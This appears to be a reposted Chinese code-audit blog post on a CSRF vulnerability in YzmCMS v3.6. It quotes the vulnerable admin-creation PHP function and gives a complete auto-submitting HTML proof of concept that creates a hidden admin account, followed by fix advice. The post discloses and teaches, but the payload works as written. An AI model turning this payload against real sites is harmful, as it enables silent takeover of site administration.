【代码审计】YzmCMS_PHP_v3.6 CSRF漏洞分析

 

0x00 环境准备

YzmCMS官网:http://www.yzmcms.com/

程序源码下载:http://pan.baidu.com/s/1pKA4u99

测试网站首页:

 

0x01 代码分析

1、文件位置: /application/admin/controller/admin_manage.class.php第35-59行中:

  1. public function add() {       
  2.     $admin = D('admin');  
  3.     $admin_role = D('admin_role');  
  4.     $roles = $admin_role->where(array('disabled'=>'0'))->select();  
  5.     if(isset($_POST['dosubmit'])) {   
  6.         if(!is_username($_POST["adminname"]))  return_json(array('status'=>0,'message'=>L('user_name_format_error')));  
  7.         if(!is_password($_POST["password"])) return_json(array('status'=>0,'message'=>L('password_format_error')));  
  8.         if($_POST["email"]!=''){  
  9.             if(!is_email($_POST["email"])) return_json(array('status'=>0,'message'=>L('mail_format_error')));  
  10. 10.         }  
  11. 11.         $res = $admin->where(array('adminname'=>$_POST["adminname"]))->find();  
  12. 12.         if($res) return_json(array('status'=>0,'message'=>L('user_already_exists')));  
  13. 13.           
  14. 14.         $_POST['password'] = password($_POST['password']);  
  15. 15.         $r = $admin_role->field('rolename')->where(array('roleid' => $_POST['roleid']))->find();  
  16. 16.         $_POST['rolename'] = $r['rolename'];      
  17. 17.         $_POST['addtime'] = SYS_TIME;     
  18. 18.         $_POST['addpeople'] = $_SESSION['adminname'];     
  19. 19.         $admin->insert($_POST);  
  20. 20.         return_json(array('status'=>1,'message'=>L('operation_success')));  
  21. 21.     } else {              
  22. 22.         include $this->admin_tpl('admin_add');  
  23. 23.     }  
  24. 24.       

25. }  

 

这段函数中进行添加管理员操作,只进行管理员身份验证,未对访问来源进行识别,导致程序在实现上存在CSRF漏洞。

0x02 漏洞利用

1、构造CSRF漏洞利用代码如下:

  1. <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">  
  2.   
  3. <html>  
  4. <head>  
  5. <title>OWASP CRSFTester Demonstration</title>  
  6. </head>  
  7. <body onload="javascript:fireForms()">  
  8. <script language="JavaScript">  
  9. var pauses = new Array( "68" );  
  10. 10.   

11. function pausecomp(millis)  

扫描二维码关注公众号,回复: 4341493 查看本文章

12. {  

  1. 13.     var date = new Date();  
  2. 14.     var curDate = null;  
  3. 15.   
  4. 16.     do { curDate = new Date(); }  
  5. 17.     while(curDate-date < millis);  

18. }  

  1. 19.   

20. function fireForms()  

21. {  

  1. 22.     var count = 1;  
  2. 23.     var i=0;  
  3. 24.       
  4. 25.     for(i=0; i<count; i++)  
  5. 26.     {  
  6. 27.         document.forms[i].submit();  
  7. 28.           
  8. 29.         pausecomp(pauses[i]);  
  9. 30.     }  

31. }  

  1. 32.       

33. </script>  

34. <H2>OWASP CRSFTester Demonstration</H2>  

35. <form method="POST" name="form0" action="http://127.0.0.1:80/admin/admin_manage/add.html">  

36. <input type="hidden" name="adminname" value="admin"/>  

37. <input type="hidden" name="password" value="abc123!"/>  

38. <input type="hidden" name="password2" value="abc123!"/>  

39. <input type="hidden" name="email" value=""/>  

40. <input type="hidden" name="realname" value=""/>  

41. <input type="hidden" name="roleid" value="1"/>  

42. <input type="hidden" name="dosubmit" value="1"/>  

43. </form>  

44. </body>  

45. </html>  

2、当管理员浏览该页面时,自动创建管理员账号admin

 

3、利用admin账号可成功登录后台进行任意操作。

0x03 修复建议

1、通过token或者session来判断当前用户身份

2、敏感操作需要验证码,更改密码需要验证老密码。

最后

欢迎关注个人微信公众号:Bypass--,每周原创一篇技术干货。 

 

猜你喜欢

转载自www.cnblogs.com/xiaozi/p/10053490.html
今日推荐